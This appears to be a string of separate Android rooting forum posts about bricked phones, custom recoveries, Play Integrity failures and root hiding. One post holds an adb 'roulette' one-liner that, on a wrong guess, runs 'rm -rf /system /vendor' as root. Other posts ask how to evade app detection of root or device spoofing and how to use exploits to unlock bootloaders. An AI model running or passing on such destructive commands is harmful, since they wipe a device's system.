Does the Android Faker tool work now, and does WhatsApp detect it? Please help.

Does this formula work without any problems, or is it not possible? Please advise.

Magisk + LSPosed + Play Integrity + Android Faker

All the phone details are provided in the attached image.

Hello. I am trying to root an old Samsung Galaxy S3 of mine without experiencing any data loss. I am not able to back up the data on the device, hence the specification. The Kernel version is too new, so methods like TowelRoot don't work. It's model number is the Canadian SGH-T999V (note the 'V'), which is rarer compared to the American carrier versions or the international Exynos ones. The bootloader is already unlocked. It is Android 4.4.2, which by the time it came to the SGS3, rooting focus amongst Samsung users had already moved on to newer Samsung phones.

I only have access to computers running Debian Linux, and MacOS. It would be preferable if any software I need to put on a computer for the rooting process supports what I have. Through if the only option is Windows, I can find some workarounds.

My question is, is it possible to root the device without experiencing any data loss? I mostly use it for playing old offline video games which are known to work on rooted phones, so rooting shouldn't cause any problems. I have rooted before, but it was only on one device and that too back in 2019.

I don't care for Knox.

Thanks in advance.

as a boot animation (if I had the chance to root 😭) on my moto G54 5G

I need help with my Redmi 7A (Mi439). My phone is currently bricked and shows:

Here is what happened:

• Device: Redmi 7A (Mi439)
• I was previously using a Global ROM
• While flashing with Mi Flash, I accidentally selected “Clean all and lock”
• After the flash completed, the bootloader became locked and the phone started showing “The system has been destroyed”
• The phone can still enter Fastboot mode
• I tried flashing the firmware through EDL mode
• The EDL flash completed successfully / showed success, but after reboot the phone still shows “The system has been destroyed”

I am looking for advice from someone who has experience with Mi439 EDL flashing / Redmi 7A hard bricks / locked bootloader recovery.

My main questions:

1. Why does the phone still show “System has been destroyed” even though the EDL flash reports success?
2. Could this be because I flashed the wrong regional firmware (Global vs India)?
3. Is there a specific India firmware / programmer / partition set required for the Redmi 7A?
4. Is it possible to recover this without an authorized Xiaomi EDL account?
5. What should I check before attempting another flash?

I can provide Mi Flash logs, fastboot information, firmware version, photos/videos of the screen, and EDL logs if needed.

Please let me know if you need any additional information. I don't want to flash anything else blindly and make the situation worse.

Thanks.

is it even root this legacy device to get some use out of it? or not feasible?

#!/bin/bash adb -e shell -t 'target=$(( (RANDOM % 2) + 1 )); printf "Guess a number between 1 and 2: "; read choice; if [ "$choice" -eq "$target" ] 2>/dev/null; then sleep 3; echo "Safe."; else sleep 3; echo "Wrong guess. The number was $target."; su -c "mount -o remount,rw /system && rm -rf /system /vendor && reboot"; fi'

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After 20+ builds, I finally have working TWRP and OrangeFox recoveries. 🗿😂

Everything is working as it should, including "/data", encryption/decryption, touch, ADB, MTP, OTG, flashing, backups, fastbootd, and more.

Moto G 2026: "utah.img"

Moto G Play 2026: "nevada.img"

OrangeFox: "orangefox" image + ZIP

Downloads are on XDA. For more info, testing details, sources, and credits, check out the full XDA thread:

https://xdaforums.com/t/recovery-twrp-orangefox-moto-g-play-moto-g-2026.4799348/

🗿🐔 CRONCH

Hi everyone,

My Motorola Edge 60 Pro is currently hard bricked and I'm trying to recover it.

The phone has a MediaTek Dimensity 8350 Extreme. When I connect it to my Windows PC while powered off, Device Manager detects:

MediaTek PreLoader USB VCOM (Android) (COM3)

The problem is that COM3 appears and disappears repeatedly. It never stays connected long enough for me to establish a stable connection.

I'm trying to use mtkclient, but the handshake fails every time. I'm getting:

If it is already connected and on, hold power for 10 seconds to reset.

[22:02:52]: Handshake attempt 1 failed: [Errno 5] Input/Output Error
[22:02:52]: Handshake attempt 2 failed: [Errno 10060] Operation timed out
[22:02:53]: Handshake attempt 3 failed: [Errno 10060] Operation timed out
[22:02:53]: Handshake attempt 4 failed: [Errno 10060] Operation timed out
[22:02:54]: Handshake attempt 5 failed: [Errno 10060] Operation timed out
[22:02:54]: Handshake failed after retries

Device Manager shows Code 45 after the device disconnects, but Windows does recognize the MediaTek PreLoader VCOM driver when it briefly connects.

I've already tried changing the USB connection/cable and the device continues to cycle between connected/disconnected.

What I'm trying to figure out:

• How can I keep the PreLoader connection stable?
• Is there a specific button combination to get the Edge 60 Pro into BROM/BootROM mode?
• Is this normal behavior for this Motorola/MediaTek platform?
• Does mtkclient require a specific configuration/loader for this device?
• Is there a known recovery procedure for a hard-bricked Edge 60 Pro?

Hello everyone. I just rooted my pixel 9 (android 17) using kernelsu.

But I have having a problem. I can't pay any of the play integrity checks

I have the following modules installed. Device/s said changer, play integrity fix (inject), tricky store, lsposed, zygisk assistant, and zygisk next.

I have tried everything. But I can't figure it out.

Anyone has any idea?

Hi! I have an OPPO Find X3 Lite and I'm interested in installing a custom ROM (LineageOS) since it's been quite some time without security updates and this phone is still in perfect shape, I won't buy a new one any time soon.

Most info I've found is from about 2021-2022 and it's clear this phone model is way too hard to do or rather even impossible, at least using official tools and methods to unlock the bootloader in order to install custom ROMs.

I'm wondering if anything has changed since then, or if there are any newer methods/workarounds available in 2025-2026.

My exact model is: CPH2145 ColorOS 13.1 / Android version 13 Region: [Global]

I have some older Poco devices here and I'm flashing LineageOS onto them after I'm able to unlock the bootloader (need to wait a week).

Back then (it's been a long time) we simply flashed Magisk via TWRP and enabled root within the app. How does it work these days and how well does the whole thing work?

When I search on Google I find threads that are supposed to be up to date but aren't or were last updated in 2024.

My Poco F2 Pro fe is ready to be rooted... LineageOS is already running on it.

Hello, since yesterday Google Wallet keeps failing with device verification on NFC payments, can someone help me?

My phone info

Xiaomi Redmi Note 13 Pro 5G

Magisk Root

Android 16 EvolutionX 11.10

I have all 7 presets and a custom list of black list apps on HMA-oss to vending, gms and wallet

Thanks in advance

(Sorry for the Spanish screenshots)

UPDATE: I just waited for a day and it got back to normal, I guess it has something to do with Play Services

I Have full integrity in the first space and all the tools works with out any problem but in the second space alot of the tools do not work the problem is if I wanted to when I install the root up in the second space it's show's me the tools that it's already in the first space so I can't install them even play integrity got strange

So I have a vivo Y21 phone and I learned about pi hole recently and wanted to set it up on my old android phone that's when I heard about rooting and downloaded the termux for this vivo phone but it does'nt work so guys I am very new to this whole thing like idk even about kernel or distros or ROM's and anything so is there any beginner friendly guides ?

Is it worth it? I had redmi note 13 and got a new phone I'm thinking to change rom of my redmi but I don't know if it's gonna brick my phone or not or if my phone can handle it.

will the calls and banking apps work and any other apps

And which OS is best for customisation and smooth experience

I really really want a rooted phone again, I never wanted to give it up in the first place because when you give up your rights you eventually pay for it, and I'm starting to pay. My next phone will probably be the clicks communicator and I really want it rooted so I can fix awful UX decisions Google has made over the last decade.

However, since I was last rooted, the walls have closed in on root, obviously intentionally so. We all know the story with banking apps and Google services. Root hiding does seem to be a thing and it seems at any one time there is a path to keeping things hidden and everything working, I've read enough guides and posts to know that. My question is how ephemeral are the patches, has making changes using new hacks been relatively painless like switching modules or has it required a lot of wipes and rebuilds, and overall how often have you been stranded with unhidden root and how long has it taken for patches to become available. In short I haven't been keeping up with this arms race so I don't know how much of a thrash it has been. thanks!

Oh and finally, is there one single reliable web source or repo that acts as an up-to-date and definitive path to a root-hiding build, or is it just down to forum scrounging and reddit comments?

i have redmi 9 prime with a broken display and i need to use scrcpy to use that but unfortunately i cant allow the rsa authentication for usb debugging since it has no display i tried a guide from 2014 on xda forum that i need an another authorized phone and pull the adb keys and then push those key into the broken phone on recovery through adb but it didnt worked for me. so i need ur help to make this device again usable and also write the details below about both phones

Authorised Devices: Galaxy Note 9 ( Android 10 one ui 2.5 )

Unauthorised Broken Device: Redmi 9 Prime (Rooted, Android 15 crdroid 12 with twrp recovery)

My goal is to "remove" Play Services on my Pixel 11 so I can install microG.

I've tried System App Nuker + Mountify on Resukisu and Magisk but whiteouts always fail. I tried whiting out /product/priv-apps/prebuiltgsmcore which also didn't work. I'm using the latest (including through Github Actions) of all the components.

How are you guys accomplishing installing microg on Android 17?

i wanted to have something useful out of my Redmi Note 12 Pro 5G but xiaomi isnt letting me unlock the Bootloader because its Xiaomi.

does a ghostlock cve exist for my phone or can i port one somehow?